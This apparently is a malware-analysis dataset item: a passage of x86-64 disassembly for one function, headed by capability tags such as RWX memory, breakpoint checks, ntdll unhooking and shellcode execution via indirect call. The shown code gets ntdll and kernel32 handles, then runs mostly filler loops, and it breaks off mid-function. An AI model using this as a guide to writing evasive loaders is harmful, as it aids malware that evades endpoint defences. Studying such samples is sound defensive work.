Function at 0x1400014a4
Capabilities:
Allocate or change rwx memory
Check for software breakpoints
Check http status code
Encode data using base64
Enumerate pe sections
Execute shellcode via indirect call
Link many functions at runtime
Overwrite dll .text section to remove hooks
Parse pe header
Read file via mapping

Disassembly:
push rbp
push rbx
mov eax, 0x51748
call fcn.14042f930
sub rsp, rax
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x516b0], xmm6
mov dword [rbp + 0x516e0], ecx
mov qword [rbp + 0x516e8], rdx
call fcn.14042e980
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x33038], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x33030], rax
mov ecx, 0x5c0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x33028], rax
mov dword [rbp + 0x516a4], 0
jmp 0x140001563
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x516a4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x33028]
add rax, rdx
movsd xmm1, qword [0x1404381e0]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x516a4], 1
cmp dword [rbp + 0x516a4], 0xb7
jle 0x140001525
mov dword [rbp + 0x516a4], 0
jmp 0x1400015cd
mov eax, dword [rbp + 0x516a4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x33028]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x516a4]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x33028]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_atan
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x516a4], 1
cmp dword [rbp + 0x516a4], 0xb7
jle 0x14000157b
mov dword [rbp + 0x5169c], 0
mov dword [rbp + 0x33024], 0
mov ecx, 0xc8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x33018], rax
mov dword [rbp + 0x516a0], 0
jmp 0x140001686
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [rbp + 0x516a0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x33018]
lea r8, [rdx + rax]
movsxd rax, ecx
imul rax, rax, 0x51eb851f
shr rax, 0x20
mov edx, eax
sar edx, 3
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
lea edx, [rax*4]
add eax, edx
sub ecx, eax
mov edx, ecx
mov dword [r8], edx
mov eax, dword [rbp + 0x516a0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x33018]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x5169c], eax
add dword [rbp + 0x516a0], 1
cmp dword [rbp + 0x516a0], 0x31
jle 0x14000160a
mov rax, qword [rbp + 0x33018]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x51698], 0x46
mov dword [rbp + 0x51694], 0x3c
mov dword [rbp + 0x51690], 0xbe
mov dword [rbp + 0x5168c], 0x96
jmp 0x14000178e
mov eax, dword [rbp + 0x51690]
cmp eax, dword [rbp + 0x5168c]
jle 0x14000172b
mov eax, dword [rbp + 0x51690]
cmp eax, dword [rbp + 0x51698]
jle 0x14000170b
mov eax, dword [rbp + 0x51690]
cmp eax, dword [rbp + 0x51694]
jle 0x140001702
sub dword [rbp + 0x51690], 1
jmp 0x140001777
sub dword [rbp + 0x51694], 1
jmp 0x140001777
mov eax, dword [rbp + 0x51698]
cmp eax, dword [rbp + 0x51694]
jle 0x140001722
sub dword [rbp + 0x51698], 1
jmp 0x140001777
sub dword [rbp + 0x51694], 1
jmp 0x140001777
mov eax, dword [rbp + 0x5168c]
cmp eax, dword [rbp + 0x51698]
jle 0x140001759
mov eax, dword [rbp + 0x5168c]
cmp eax, dword [rbp + 0x51694]
jle 0x140001750
sub dword [rbp + 0x5168c], 1
jmp 0x140001777
sub dword [rbp + 0x51694], 1
jmp 0x140001777
mov eax, dword [rbp + 0x51698]
cmp eax, dword [rbp + 0x51694]
jle 0x140001770
sub dword [rbp + 0x51698], 1
jmp 0x140001777
sub dword [rbp + 0x51694], 1
mov eax, dword [rbp + 0x51690]
mov edx, eax
lea rax, [0x140438017]
mov rcx, rax
call fcn.140001450
cmp dword [rbp + 0x51690], 0
jg 0x1400016cf
mov dword [rbp + 0x51688], 0x5a
mov dword [rbp + 0x51684], 0x46
mov dword [rbp + 0x51680], 0x118
mov dword [rbp + 0x5167c], 0xd2
jmp 0x140001887
mov eax, dword [rbp + 0x51680]
cmp eax, dword [rbp + 0x5167c]
jle 0x140001824
mov eax, dword [rbp + 0x51680]
cmp eax, dword [rbp + 0x51688]
jle 0x140001804
mov eax, dword [rbp + 0x51680]
cmp eax, dword [rbp + 0x51684]
jle 0x1400017fb
sub dword [rbp + 0x51680], 1
jmp 0x140001870
sub dword [rbp + 0x51684], 1
jmp 0x140001870
mov eax, dword [rbp + 0x51688]
cmp eax, dword [rbp + 0x51684]
jle 0x14000181b
sub dword [rbp + 0x51688], 1
jmp 0x140001870
sub dword [rbp + 0x51684], 1
jmp 0x140001870
mov eax, dword [rbp + 0x5167c]
cmp eax, dword [rbp + 0x51688]
jle 0x140001852
mov eax, dword [rbp + 0x5167c]
cmp eax, dword [rbp + 0x51684]
jle 0x140001849
sub dword [rbp + 0x5167c], 1
jmp 0x140001870
sub dword [rbp + 0x51684], 1
jmp 0x140001870
mov eax, dword [rbp + 0x51688]
cmp eax, dword [rbp + 0x51684]
jle 0x140001869
sub dword [rbp + 0x51688], 1
jmp 0x140001870
sub dword [rbp + 0x51684], 1
mov eax, dword [rbp + 0x51680]
mov edx, eax
lea rax, [0x140438017]
mov rcx, rax
call fcn.140001450
cmp dword [rbp + 0x51680], 0
jg 0x1400017c8
mov ecx, 0x394
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x33010], rax
mov ecx, 0x394
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x33008], rax
mov ecx, 0x394
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x33000], rax
mov ecx, 0x394
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x32ff8], rax
mov dword [rbp + 0x51674], 0xe4
mov dword [rbp + 0x51678], 0
jmp 0x1400019fd
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x51678]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x33010]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x51678]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x33008]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x51674]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x33010]
add rax, rdx
mov edx, dword [rbp + 0x51678]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x33000]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x51674]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x33008]
add rax, rdx
mov edx, dword [rbp + 0x51678]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x32ff8]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x51674], 1
add dword [rbp + 0x51678], 1
cmp dword [rbp + 0x51678], 0xe4
jle 0x1400018f1
mov rax, qword [rbp + 0x33010]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x33008]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x33000]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x32ff8]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x51670], 0
jmp 0x140001abb
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 3
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
mov dword [rbp + 0x3c], edx
mov edx, dword [rbp + 0x3c]
imul edx, edx, 0x1a
sub eax, edx
mov dword [rbp + 0x3c], eax
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1404381e0]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x3c]
movq xmm0, rax
call fcn.14042fff0
movq rax, xmm0
mov qword [rbp + 0x30], rax
add dword [rbp + 0x51670], 1
cmp dword [rbp + 0x51670], 0xe4
jle 0x140001a55
mov dword [rbp + 0x5166c], 0xffffffff
add dword [rbp + 0x5166c], 1
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, edx
add eax, eax
add eax, edx
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1404381e0]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.14042fc00
movq rax, xmm0
mov qword [rbp + 0x32ff0], rax
cmp dword [rbp + 0x5166c], 0x6d
jle 0x140001ad1
mov dword [rbp + 0x51660], 0
mov ecx, 0x360
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x32fe8], rax
mov dword [rbp + 0x51668], 0
jmp 0x140001bbc
mov dword [rbp + 0x51664], 0
jmp 0x140001bac
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x178c76d9
shr rdx, 0x20
sar edx, 9
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x15be
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x51668]
cdqe
shl rax, 5
mov rcx, rax
mov rax, qword [rbp + 0x32fe8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x51664]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x51664], 1
cmp dword [rbp + 0x51664], 7
jle 0x140001b50
add dword [rbp + 0x51668], 1
cmp dword [rbp + 0x51668], 0x1a
jle 0x140001b44
mov dword [rbp + 0x51668], 0
jmp 0x140001c38
mov dword [rbp + 0x51664], 0
jmp 0x140001c28
pxor xmm1, xmm1
cvtsi2ss xmm1, dword [rbp + 0x51660]
mov eax, dword [rbp + 0x51668]
cdqe
shl rax, 5
mov rdx, rax
mov rax, qword [rbp + 0x32fe8]
add rdx, rax
mov eax, dword [rbp + 0x51664]
cdqe
movss xmm0, dword [rdx + rax*4]
addss xmm0, xmm1
cvttss2si eax, xmm0
mov dword [rbp + 0x51660], eax
add dword [rbp + 0x51664], 1
cmp dword [rbp + 0x51664], 7
jle 0x140001be1
add dword [rbp + 0x51668], 1
cmp dword [rbp + 0x51668], 0x1a
jle 0x140001bd5
mov rax, qword [rbp + 0x32fe8]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x5165c], 0xffffffff
add dword [rbp + 0x5165c], 1
call sub.msvcrt.dll_rand
imul eax, eax, 0x399
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1404381e0]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.1404300c0
movq rax, xmm0
mov qword [rbp + 0x32fe0], rax
cmp dword [rbp + 0x5165c], 0x1c6
jle 0x140001c5a
mov dword [rbp + 0x51658], 0xffffffff
add dword [rbp + 0x51658], 1
call sub.msvcrt.dll_rand
imul eax, eax, 0x1f4
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1404381e0]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.1404300c0
movq rax, xmm0
mov qword [rbp + 0x32fd8], rax
cmp dword [rbp + 0x51658], 0x31
jle 0x140001cb1
mov dword [rbp + 0x32fd4], 0
mov ecx, 0x1e0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x32fc8], rax
mov ecx, 0x1e0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x32fc0], rax
mov ecx, 0x1e0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x32fb8], rax
mov dword [rbp + 0x51654], 0
jmp 0x140001e15
mov dword [rbp + 0x51650], 0
jmp 0x140001e01
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x51654]
cdqe
shl rax, 4
mov rcx, rax
mov rax, qword [rbp + 0x32fc8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x51650]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x51654]
cdqe
shl rax, 4
mov rcx, rax
mov rax, qword [rbp + 0x32fc0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x51650]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x51650], 1
cmp dword [rbp + 0x51650], 3
jle 0x140001d56
add dword [rbp + 0x51654], 1
cmp dword [rbp + 0x51654], 0x1d
jle 0x140001d47
mov dword [rbp + 0x51654], 0
jmp 0x140001ece
mov dword [rbp + 0x51650], 0
jmp 0x140001eba
mov eax, dword [rbp + 0x51654]
cdqe
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x32fc8]
add rdx, rax
mov eax, dword [rbp + 0x51650]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x51654]
cdqe
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x32fc0]
add rdx, rax
mov eax, dword [rbp + 0x51650]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x51654]
cdqe
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x32fb8]
add rdx, rax
divss xmm0, xmm1
mov eax, dword [rbp + 0x51650]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x51650], 1
cmp dword [rbp + 0x51650], 3
jle 0x140001e3d
add dword [rbp + 0x51654], 1
cmp dword [rbp + 0x51654], 0x1d
jle 0x140001e31
mov rax, qword [rbp + 0x32fc8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x32fc0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x32fb8]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x5164c], 0
jmp 0x140001f52
call sub.msvcrt.dll_rand
imul eax, eax, 0x226
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1404381e0]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.1404300c0
movq rax, xmm0
mov qword [rbp + 0x40], rax
add dword [rbp + 0x5164c], 1
cmp dword [rbp + 0x5164c], 0xbc
jle 0x140001f14
mov ecx, 0x288
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x32fb0], rax
mov ecx, 0x288
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x32fa8], rax
mov ecx, 0x288
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x32fa0], rax
mov ecx, 0x288
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x32f98], rax
mov dword [rbp + 0x51644], 0xa1
mov dword [rbp + 0x51648], 0
jmp 0x14000204e
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x51648]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x32fb0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x51648]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x32fa8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x51648], 1
cmp dword [rbp + 0x51648], 0xa1
jle 0x140001fbb
mov dword [rbp + 0x51648], 0
jmp 0x1400020ed
mov eax, dword [rbp + 0x51644]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x32fb0]
add rax, rdx
mov edx, dword [rbp + 0x51648]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x32fa0]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x51644]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x32fa8]
add rax, rdx
mov edx, dword [rbp + 0x51648]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x32f98]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x51644], 1
add dword [rbp + 0x51648], 1
cmp dword [rbp + 0x51648], 0xa1
jle 0x14000206d
mov rax, qword [rbp + 0x32fb0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x32fa8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x32fa0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x32f98]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x51640], 0
mov dword [rbp + 0x5163c], 1
mov dword [rbp + 0x51638], 0
mov dword [rbp + 0x32f94], 0x8e
jmp 0x140002190
mov edx, dword [rbp + 0x51640]
mov eax, dword [rbp + 0x5163c]
add eax, edx
mov dword [rbp + 0x4c], eax
add dword [rbp + 0x51638], 1
mov eax, dword [rbp + 0x5163c]
mov dword [rbp + 0x51640], eax
mov eax, dword [rbp + 0x4c]
mov dword [rbp + 0x5163c], eax
mov eax, dword [rbp + 0x51638]
cmp eax, dword [rbp + 0x32f94]
jl 0x140002163
mov ecx, 0x3ec
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x32f88], rax
mov dword [rbp + 0x51634], 0
jmp 0x140002247
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0x51634]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x32f88]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x51634], 1
cmp dword [rbp + 0x51634], 0xfa
jle 0x1400021be
mov dword [rbp + 0x51634], 0
jmp 0x14000235b
mov dword [rbp + 0x54], 0
jmp 0x140002340
mov eax, dword [rbp + 0x51634]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x32f88]
add rax, rdx
movss xmm0, dword [rax]
mov eax, dword [rbp + 0x54]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x32f88]
add rax, rdx
movss xmm1, dword [rax]
comiss xmm0, xmm1
jbe 0x140002339
mov eax, dword [rbp + 0x54]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x32f88]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp + 0x50], xmm0
mov eax, dword [rbp + 0x51634]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x32f88]
add rdx, rax
mov eax, dword [rbp + 0x54]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x32f88]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp + 0x54]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x32f88]
add rax, rdx
movss xmm0, dword [rbp + 0x50]
movss dword [rax], xmm0
add dword [rbp + 0x51634], 1
mov eax, 0xfa
sub eax, dword [rbp + 0x51634]
cmp dword [rbp + 0x54], eax
jl 0x140002272
add dword [rbp + 0x51634], 1
cmp dword [rbp + 0x51634], 0xfa
jle 0x140002266
mov rax, qword [rbp + 0x32f88]
mov rcx, rax
call sub.msvcrt.dll_free
mov ecx, 0x650
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x32f80], rax
mov ecx, 0x650
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x32f78], rax
mov dword [rbp + 0x51630], 0
jmp 0x140002435
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x51630]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x32f80]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x51630], 1
cmp dword [rbp + 0x51630], 0xc9
jle 0x1400023ab
mov dword [rbp + 0x51630], 0
jmp 0x1400024a3
mov eax, dword [rbp + 0x51630]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x32f80]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x51630]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x32f78]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.14042fe10
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x51630], 1
cmp dword [rbp + 0x51630], 0xc9
jle 0x140002451
mov dword [rbp + 0x5162c], 0
mov dword [rbp + 0x51628], 1
mov dword [rbp + 0x51624], 0
mov dword [rbp + 0x32f74], 0xb0
jmp 0x140002506
mov edx, dword [rbp + 0x5162c]
mov eax, dword [rbp + 0x51628]
add eax, edx
mov dword [rbp + 0x58], eax
add dword [rbp + 0x51624], 1
mov eax, dword [rbp + 0x51628]
mov dword [rbp + 0x5162c], eax
mov eax, dword [rbp + 0x58]
mov dword [rbp + 0x51628], eax
mov eax, dword [rbp + 0x51624]
cmp eax, dword [rbp + 0x32f74]
jl 0x1400024d9
mov ecx, 0x4e0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x32f68], rax
mov dword [rbp + 0x51620], 0
jmp 0x14000257f
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1404381e0]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x51620]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x32f68]
add rax, rdx
movsd xmm1, qword [0x1404381e8]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x51620], 1
cmp dword [rbp + 0x51620], 0x9b
jle 0x140002531
mov dword [rbp + 0x51620], 0
jmp 0x1400025e9
mov eax, dword [rbp + 0x51620]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x32f68]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x51620]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x32f68]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x51620], 1
cmp dword [rbp + 0x51620], 0x9b
jle 0x140002597
mov dword [rbp + 0x51618], 1
jmp 0x1400026a5
mov dword [rbp + 0x5161c], 0
mov eax, dword [rbp + 0x51618]
mov dword [rbp + 0x51614], eax
jmp 0x14000267e
mov edx, dword [rbp + 0x51614]
movsxd rax, edx
imul rax, rax, 0x66666667
shr rax, 0x20
mov ecx, eax
sar ecx, 2
mov eax, edx
sar eax, 0x1f
sub ecx, eax
mov eax, ecx
shl eax, 2
add eax, ecx
add eax, eax
sub edx, eax
mov dword [rbp + 0x5c], edx
mov eax, dword [rbp + 0x5c]
imul eax, eax
imul eax, dword [rbp + 0x5c]
add dword [rbp + 0x5161c], eax
mov eax, dword [rbp + 0x51614]
movsxd rdx, eax
imul rdx, rdx, 0x66666667
shr rdx, 0x20
mov ecx, edx
sar ecx, 2
cdq
mov eax, ecx
sub eax, edx
mov dword [rbp + 0x51614], eax
cmp dword [rbp + 0x51614], 0
jne 0x14000261c
mov eax, dword [rbp + 0x5161c]
cmp eax, dword [rbp + 0x51618]
jne 0x14000269e
mov eax, dword [rbp + 0x51618]
mov dword [rbp + 0x60], eax
add dword [rbp + 0x51618], 1
cmp dword [rbp + 0x51618], 0x2b
jle 0x140002604
mov ecx, 0x1ec
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x32f60], rax
mov dword [rbp + 0x51610], 0
jmp 0x14000271c
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x51610]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x32f60]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x51610], 1
cmp dword [rbp + 0x51610], 0x7a
jle 0x1400026cf
mov dword [rbp + 0x51610], 0
jmp 0x140002800
cmp dword [rbp + 0x51610], 0
je 0x140002779
mov eax, dword [rbp + 0x51610]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x32f60]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x51610]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x32f60]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jg 0x140002782
add dword [rbp + 0x51610], 1
jmp 0x140002800
mov eax, dword [rbp + 0x51610]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x32f60]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x64], eax
mov eax, dword [rbp + 0x51610]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x32f60]
add rax, rdx
mov edx, dword [rbp + 0x51610]
movsxd rdx, edx
shl rdx, 2
lea rcx, [rdx - 4]
mov rdx, qword [rbp + 0x32f60]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x51610]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x32f60]
add rdx, rax
mov eax, dword [rbp + 0x64]
mov dword [rdx], eax
sub dword [rbp + 0x51610], 1
cmp dword [rbp + 0x51610], 0x7a
jle 0x140002734
mov rax, qword [rbp + 0x32f60]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x5160c], 0xffffffff
mov ecx, 0x428
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x32f58], rax
add dword [rbp + 0x5160c], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1404381e0]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x5160c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x32f58]
add rax, rdx
movsd xmm1, qword [0x1404381e8]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x5160c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x32f58]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x5160c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x32f58]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x5160c], 0x83
jle 0x140002837
mov dword [rbp + 0x51604], 0x50
mov dword [rbp + 0x51608], 0x50
jmp 0x140002904
sub dword [rbp + 0x51604], 1
